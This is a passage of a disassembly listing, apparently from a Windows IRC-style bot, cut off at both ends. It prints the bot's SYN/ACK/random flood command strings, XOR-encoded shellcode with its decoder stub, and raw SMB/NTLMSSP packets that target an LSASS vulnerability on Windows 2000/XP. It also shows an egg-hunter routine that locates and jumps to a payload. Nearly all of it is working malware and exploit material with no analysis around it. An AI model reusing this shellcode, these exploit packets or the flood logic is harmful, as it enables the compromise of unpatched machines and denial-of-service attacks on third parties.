dup(0) dd 0FFFFFFFFh, 41B18Ch dword_41CF98 dd 19930520h, 1, 41CFB8h, 5 dup(0)dword_41CFB8 dd 0FFFFFFFFh, 41B1A0h, 2, 41CF10h, 41CEF0h, 0dword_41CFD0 dd 0 dd offset sub_41AD88 dd 0 dd offset dword_41CFB8+8 dword_41CFE0 dd 19930520h, 1, 41D000h, 5 dup(0) dd 0FFFFFFFFh, 41B1B4h dword_41D008 dd 19930520h, 1, 41D028h, 5 dup(0) dd 0FFFFFFFFh, 41B1C8h dword_41D030 dd 19930520h, 1, 41D050h, 5 dup(0) dd 0FFFFFFFFh, 41B1DCh, 0 dd offset off_42EF78 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41AF9Ch, 0 dword_41D078 dd 3, 41D058h, 41CF10h, 41CEF0hdword_41D088 dd 0 ; sub_41AF63+12o dd offset sub_41AF26 dd 0 dd offset dword_41D078 dword_41D098 dd 19930520h, 1, 41D0B8h, 5 dup(0) dd 0FFFFFFFFh, 41B1F0h dword_41D0C0 dd 19930520h, 1, 41D0E0h, 5 dup(0) dd 0FFFFFFFFh, 41B204h, 1D2B8h, 2 dup(0) dd 1D2FCh, 1C194h, 1D124h, 2 dup(0) dd 1DA1Ah, 1C000h, 5 dup(0) dd 0B4E94F73h, 226E7F15h, 389159C5h, 0A65821F4h, 7E14D5C6h dd 585EC416h, 7B718AF8h, 930F280Eh, 0B17C7B0Eh, 0BB87CE18h dd 1B88BA66h, 3A9638BCh, 17CBFE63h, 83178701h, 0C8A56CE6h dd 0E2898E6Dh, 0B63CF79Ah, 0A41FE5AFh, 0E7A25CBFh, 0ABB8E224h dd 0B2E39DD8h, 82F87C28h, 0D021FAC1h, 0B7E7EA81h, 3F23AAE5h dd 37D76EC0h, 0DFA7DB58h, 61214CFh, 0AA72259Ah, 7E755FE1h dd 6782B227h, 0E4C8A4Fh, 5844D848h, 7D625680h, 0E73B90D1h dd 0F1F515B8h, 8FBFE375h, 7599F058h, 0B308BBFAh, 0D6AA9373h dd 77E50073h, 0C1A38A3Bh, 67258B79h, 4BA5B0E1h, 0BB2118D3h dd 6ECEC90Ch, 0B1BEBB69h, 291B9474h, 0C79D1203h, 57DFCCFDh dd 0AEBA5901h, 0D7F0149Eh, 0B3A81263h, 0F0209555h, 3AEEAD82h dd 6F29BBDEh, 879CBF24h, 0CB107080h, 914EFB02h, 83A87C02h dd 9E61822h, 4F9619F1h, 0C3B8353h, 98292B51h, 878BABBDh dd 8CC85E70h, 0A6ABE91h, 48B5C2F1h, 44F0DB9Bh, 726F19A1h dd 0D6820579h, 3A728413h, 0AEE44D29h, 23DF95B3h, 2DD178E9h dd 0AA5D9A97h, 245B8B70h, 33114E17h, 1603F486h, 0B5602F4Ah dd 836F1ED8h, 25472ACBh, 56C585A8h, 517DC4CEh, 4172821Bh dd 9F4EA83Dh, 60D4A1FAh, 393AC44Fh, 0D168CC29h, 3145CA70h dd 0AB8A4DC2h, 0B5CFADDCh, 17E543C0h, 52931967h, 9F2F2C4Ah dd 0DD881AAFh, 2EF09775h, 0AAA84AA8h, 0CAB57102h, 0BCD88A4Bh dd 0 dd 19DB7892h, 54DEC69Eh, 0B3C4E631h, 4A251936h, 4EAF1DEBh dd 0A4538EEh, 0FC5A1235h, 0F880CA26h, 4160F604h, 0E58B614Eh dd 0F4D5B3F1h, 21376B4Ch, 1066C266h, 65956DEEh, 371350CFh dd 90BC916Fh, 0 dd 0EF8A03BCh, 0FDB9E29Fh, 7F8h, 0D00E007Eh, 0CC25C1C7h dd 5C6A3CEDh, 16D0000h, 40526980h, 5864230h, 0AE7CAC03h dd 2060000h, 1FC89BFh, 2BFD6FFDh, 9266B254h, 0E34AC3F5h dd 0D17F459h, 0BE22E8h, 0C14A0207h, 0CC7AA183h, 861C25Bh dd 70B01F4Ah, 70D26B92h, 31171EB9h, 89AF34h, 1B440296h dd 0D124F0h, 6D000124h, 90932F03h, 17784A40h, 3908C1F7h dd 4578E497h, 16E0000h, 0E14A58C6h, 7B1B72B5h, 9329A4B1h dd 0B9A7h, 934B00FBh, 0F522AE30h, 0B67B7E85h, 32331D70h dd 11A0000h, 1AD81975h, 0EE2046CCh, 696FCAABh, 4A0000h dd 28F46E03h, 0B20E551Bh, 0E95D8ED2h, 1B0000h, 556D03DBh dd 0DEFA121Fh, 7ECD4Dh, 11780112h, 0E38F7FC4h, 7402B56Bh dd 3400B4h, 66C58F41h, 23421877h, 0B04F91h, 4BF5010Dh dd 898FC898h, 8D09DC6Dh, 44C179EDh, 0ECC3E3C2h, 900000h dd 0E8896841h, 0BE9A069Dh, 8A0046h, 7B711FADh, 0F73C171Eh dd 0F3A591EFh, 9A943884h, 908BD0E5h, 890000h, 0DCC7532Bh dd 0F3DB50C2h, 0BD28A7EFh, 2903662Ch, 0E3EC581Dh, 7163F9h dd 6AE5009Dh, 34693C8Ah, 0D7983798h, 3ED5D0h, 0EE000094h dd 6C792961h, 6A7B0C69h, 0C026DB16h, 2180000h, 0B9D50ED1h dd 965BEA71h, 26A0000h, 0AC2A0A62h, 0A05454FEh, 23680838h dd 1BCEh, 906B01C1h, 4EAAA775h, 0AEE737B2h, 9E97DCB2h dd 6E6FBC1Fh, 32Eh, 83930066h, 50966A7Ch, 235B38B0h, 6D047FD7h dd 312EB99Fh, 3282h, 3DCF01ABh, 5875FD2h, 0B4DCAFA6h, 0F1183EC7h dd 0D323FE8Eh, 271AC9D0h, 0BDE3895Bh, 0AD227BCEh, 6E2471DDh dd 0B03838h, 0D00D0055h, 516C9A81h, 0FD164F2Ah, 3FA6C64Bh dd 0AC7CA699h, 0FCDD64h, 60FD01C2h, 5411CBEh, 0EA92D2C3h dd 6C80h, 2D56013Eh, 0A478CF95h, 0D3429EB9h, 0F80F2F0Bh dd 1260000h, 0ABA46628h, 8C7CD38Eh, 0D4AE70B8h, 0C07CE1EBh dd 0AF0000h, 0E59504Fh, 990DE2A0h, 0DD081A83h, 0F613h dd 152E0193h, 7689A67Ah, 54A972E1h, 66F1h, 0A0EE018Ch dd 0B31A064Ah, 0FDFAC186h, 2B00000h, 4B7D75A7h, 1FA350BFh dd 6D8F78D2h, 621B22h, 159B01D6h, 0FDF33C8Ah, 0F64A848Eh dd 0AC586Ch, 0B3B20035h, 0FBB9B690h, 2434ADCEh, 0F469540Dh dd 38A5A8DEh, 26C0000h, 4DB07C30h, 999540ADh, 0B23EC8h dd 0C2AF0114h, 99D18FE9h, 84CA3A4Ah, 440014h, 0BB8006DBh dd 5D96B4DCh, 8DA58926h, 30A8h, 0ED400080h, 0AA4A014Ch dd 2A3756D2h, 0A4F025Ah, 6AB421E2h, 0CAFB5801h, 24FA05h dd 81DA0268h, 6D7E12FCh, 0AC9A6C73h, 0F2BAF26Dh, 0FEE1AA6Eh dd 2DF0000h, 0D874427h, 90E5BB48h, 1650077h, 0F6BE104Ch dd 0C51F4998h, 0EFF2E48Ah, 1750000h, 0B259903Dh, 0D63EBB40h dd 3700726Eh, 18D0060h, 378C0EB7h, 0BC99D782h, 94B3BEBDh dd 0A04502CEh, 81CFh, 56050159h, 0D18C1247h, 3E57A45Eh dd 324553AAh, 0DDD731F7h, 11B0008h, 0AE3B1406h, 2B178101h dd 83A43924h, 7D0000h, 1D7BEAF1h, 2DDC2238h, 0B40736h dd 0DCAD0057h, 0D5181640h, 7D10B86Ch, 1EF0012h, 11EA3C8h dd 37804A6Dh, 1692FAh, 43D200F8h, 16345C1Ch, 3C56DFC1h dd 0AFD827D9h, 0C9F41C75h, 280025h, 73C93B77h, 0B317317Fh dd 2CE009Ch, 0C6DF0A82h, 2FFC3CB4h, 229D99D6h, 7AFBFAB7h dd 0B9B6F2h, 8263003Fh, 0C8844D6h, 63F79635h, 20D8h, 35DE029Fh dd 15B1D078h, 0D7B58047h, 0C367FB71h, 1DD0054h, 0BBBC980Dh dd 82C43F2h, 2D200C5h, 4BCFDCD5h, 0A8C1BA59h, 0EFE63ADAh dd 7920C5ADh, 46DB0Eh, 626101E4h, 0E17B19DBh, 3D79BA5Ah dd 0A8A46861h, 3B3C9C8Fh, 0CE0065h, 4434A5F6h, 101E77B0h dd 8F888FDCh, 89DC9BD7h, 0F70000h, 0C20EA61Ch, 512F02C8h dd 9D90ABFCh, 87C2962Fh, 29E0099h, 6240622Dh, 43C8509Dh dd 51B57BD3h, 2FB13463h, 11C0000h, 29896834h, 0A0B84AD5h dd 0F8C396D5h, 7712h, 92960199h, 0B6ABA6Bh, 5B4820h, 0A8CF019Fh dd 61DD2165h, 368Fh, 0DA54022Fh, 0C61B40DCh, 791816h, 3E760170h dd 92DB8C5Ch, 188D6BDDh, 0B1A4A025h, 6F50C19Dh, 0A5EE89EFh dd 15D0000h, 11C28F1Fh, 0BF486710h, 65451280h, 1A20057h dd 211757E9h, 0ECD238EEh, 9026AEh, 0F88A0150h, 38ADF071h dd 8FFE1FA8h, 0B3FC4077h, 0CA0034h, 690A8DADh, 54992D06h dd 9A43BBE1h, 0B941C7h, 762D0174h, 8B9FFBEFh, 616F8745h dd 19D0000h, 0F77BB328h, 7B71863Ah, 3F4297h, 3C93019Bh dd 0FA5B20B0h, 0D624C813h, 2BF0000h, 5BD98C37h, 0B7639E94h dd 865B8Dh, 1FDD02BBh, 0E3251ADEh, 59AA2A63h, 0B361h, 742B01B8h dd 0BA2F9524h, 38EB21ABh, 0D1A7ACh, 0E24C020Bh, 66A36671h dd 7FEB9BD8h, 317515EFh, 1A30000h, 831D9529h, 0E0210F04h dd 1BF0000h, 5FAB16EBh, 705E28B0h, 6C74735Ah, 1C00000h dd 19E68998h, 0BF1F88DFh, 0D0A17047h, 0BF0000h, 0EBB3A24Ch dd 357BB524h, 0B90097h, 0A8D09766h, 7FB4h, 39750131h, 7D813DB0h dd 1438h, 0F3BE02ADh, 3D748F3Fh, 3B3614BCh, 57BB8249h dd 0E85801D9h, 60B06568h, 4120h, 0F83B00B2h, 3205ECC5h dd 60A2B351h, 0E962BEDh, 67A575F9h, 0BC2F22E7h, 0B30002h dd 0AA2EA22h, 844E4F86h, 98E27E34h, 579EACC2h, 3D3B45A3h dd 408E31h, 66A60106h, 381B153Bh, 0ADBB2ABAh, 0C6F27789h dd 473ED513h, 73361h, 8C5F0108h, 0BA0B1833h, 5F1E5BDFh dd 0BA49251Ch, 5EA56F5h, 0D561137h, 26D0000h, 4EDA820Fh dd 40BF747Eh, 111A3E1Ch, 8C47h, 6C430152h, 2477D8C4h, 0B1F2C032h dd 51B8h, 9D420115h, 2EAA2CD4h, 5227B88Fh, 15300D8h, 4A94A488h dd 0B2997E5Bh, 1A8C549Ah, 3AA4h, 0B4100156h, 24602B6Dh dd 0B38D685Ch, 6E03A671h, 28B0000h, 0DD45854Ah, 603BF634h dd 1FEC55B0h, 8BF03DF6h, 0A315506Eh, 0FA6F0AA2h, 0B46DF0h dd 38B701B5h, 1198A1D7h, 549086CEh, 4DDDh, 8CF701B2h, 0AAD0CD58h dd 0FBD818B0h, 0A0CEh, 0E8A027Ch, 5E7754FCh, 3498B9F0h dd 0E96h, 0A79200AAh, 2B09C9Eh, 0A2E89479h, 5D1B7D95h dd 1A18h, 8E770261h, 10EE8BFEh, 8D2D6280h, 7FD3h, 0C5B00021h dd 7613D3B3h, 0A2C499EDh, 2091ADF0h, 220000h, 6C460352h dd 4872F60Eh, 5E49B40Bh, 0A4A1h, 0C90B0262h, 21F35B5Ah dd 927BCED7h, 9708C13Eh, 468B87FEh, 0F60D4F29h, 5BCB0053h dd 0B1ED4CC7h, 99441C75h, 9322h, 176h dup(0) seg001 ends ; Section 3. (virtual address 0001E000) ; Virtual size : 00043000 ( 274432.) ; Section size in file : 00043000 ( 274432.) ; Offset to raw data for section: 0001E000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg002 segment para public 'CODE' use32 assume cs:seg002 ;org 41E000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 0 dd offset sub_40316C dd offset sub_41AFB4 dd 2 dup(0) dd offset sub_411692 dd offset sub_4171A7 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 7Fh, 41h, 0 dd offset loc_418962 align 8 dword_41E028 dd 0 dd offset loc_418068 dword_41E030 dd 0 dword_41E034 dd 0 dd offset loc_418973 dword_41E03C dd 0 unk_41E040 db 2 ; DATA XREF: start+5Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 10h aDdos_random db 'ddos.random',0 ; DATA XREF: seg000:loc_4011DEo aDdos_ack db 'ddos.ack',0 ; DATA XREF: seg000:loc_4011C2o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: seg000:004011A3o align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB' db ').',0 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>' db '.',0 align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aInvalidTargetI db 'Invalid target IP.',0 align 10h unk_41E1D0 db 2 ; DATA XREF: seg000:00401509o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0 unk_41E21C db 2 ; DATA XREF: seg000:00401490o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0 dword_41E264 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_40182E+48o dd 2029206Ch, 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 10h dword_41E2A0 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: seg000:00401B47o dd 2029206Ch, 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dword_41E2D0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:004020C1o dd 2029206Ch, 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dword_41E334 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:00402025o dd 2029206Ch, 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: seg000:00401EE8o ; seg000:0040B618o ... align 10h aAck db 'ack',0 ; DATA XREF: seg000:00401EC8o ; seg000:0040B601o aSyn db 'syn',0 ; DATA XREF: seg000:00401EA8o ; seg000:0040B5E9o dword_41E3A8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:00401D35o dd 2029206Ch, 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_41E3DC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:00401CC4o dd 2029206Ch, 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_41E428 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:00401C46o dd 2029206Ch, 2BBBB02h, 72452020h, 3A726F72h, 636F7320h dd 2874656Bh, 61662029h, 64656C69h, 6572202Ch, 6E727574h dd 203A6465h, 3E64253Ch, 2Eh, 4B5B10EBh, 0B966C933h, 34800125h dd 0FAE2990Bh, 0EBE805EBh, 70FFFFFFh, 99999962h, 0A938FDC6h dd 12999999h, 0E91295D9h, 0F1123485h, 0F36E1291h, 271C09Dh dd 7B999999h, 0ABAAF160h, 0EEF19999h, 0CDC6ABEAh, 71128F66h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh, 89F35512h, 0CF66CAC8h, 0EC591C81h dd 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h, 7B32C08Ch dd 0BDDD5F64h, 0DD67DD89h, 0C510A4BDh, 0C510D1BDh, 0C510D5BDh dd 0DD14C9BDh, 0C9CD89BDh, 0F3C8C8C8h, 66C8C898h, 66C8A9EFh dd 55129DCFh, 0A86666F3h, 0CA91CF66h, 6685CF66h, 0CFC895CFh dd 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h dd 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h, 0A26872D9h dd 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h, 9D12449Ah dd 325C9A12h, 715AC0C7h, 66666699h, 7597D717h, 8F2A67EBh dd 579C4034h, 0F9795776h, 0A2657452h, 346C9040h, 0F9336075h dd 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- jmp short loc_41E5C2 ; =============== S U B R O U T I N E ======================================= sub_41E5B2 proc near ; CODE XREF: sub_41E5B2:loc_41E5C2p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_41E5BA: ; CODE XREF: sub_41E5B2+Cj xor byte ptr [edx+ecx], 99h loop loc_41E5BA jmp short loc_41E5C7 ; --------------------------------------------------------------------------- loc_41E5C2: ; CODE XREF: seg002:0041E5B0j call sub_41E5B2 loc_41E5C7: ; CODE XREF: sub_41E5B2+Ej jo short near ptr dword_41E428+136h cwde cdq cdq retn sub_41E5B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh, 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh dd 6DCE66CAh, 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh dd 9D10C089h, 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh dd 0DE149898h, 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh dd 1499FDF4h, 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h dd 0AA7DCE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h dd 5A59AA77h, 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh dd 0CDEDF0E1h, 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh dd 0EE99D8E0h, 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h dd 0F7F0FB99h, 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh dd 0EAF6F5FAh, 0FAF6EAFCh, 99EDFCF2h, 0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dd offset loc_401495 dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707A+2 dd 1, 0 dd 1, 0 dd offset loc_40707A+2 dd 1, 0 dd 1, 0 dd offset loc_40707A+2 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 2 dup(0) dd 0AD9Dh, 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 4 dd 0 dd 1004600h, 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h dd 20206C61h, 755B2020h, 6576696Eh, 6C617372h, 656E205Dh dd 70617274h, 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_41EE48 dd 0A0D7325h, 0 ; seg000:0040CB04o ... byte_41EE50 db 90h ; DATA XREF: sub_40238E+B2o db 42h, 90h, 42h db 90h dd offset aCrystal+6 align 4 dword_41EE5C dd 10FF8h, 0 dword_41EE64 dd 10FF8h dword_41EE68 dd 7FFDF020h, 0 dword_41EE70 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_41EEF8 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_41EF28 dd 0 dd 800000D4h, 0 unk_41EF34 db 81h ; ; DATA XREF: sub_402892+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_41EF80 db 41h ; DATA XREF: sub_402930+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_41EFC4 proc near ; DATA XREF: sub_402B8D+80o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_41F0C0 push dword ptr [esi] push 63D61209h call sub_41F0D6 mov [esi+8], eax call sub_41F089 push dword ptr [esi+4] push 0CA2BD06Bh call sub_41F0D6 mov [esi+0Ch], eax call sub_41F03B push dword ptr [esi+4] push 4C0297FAh call sub_41F0D6 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_41EFC4 endp ; =============== S U B R O U T I N E ======================================= sub_41F03B proc near ; CODE XREF: sub_41EFC4+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_41F064 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_41F03B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41F064 proc near ; CODE XREF: sub_41F03B+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_41F073: ; CODE XREF: sub_41F064+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_41F080 inc ebx jmp short loc_41F073 ; --------------------------------------------------------------------------- loc_41F080: ; CODE XREF: sub_41F064+17j mov [esi+10h], edi pop dword ptr 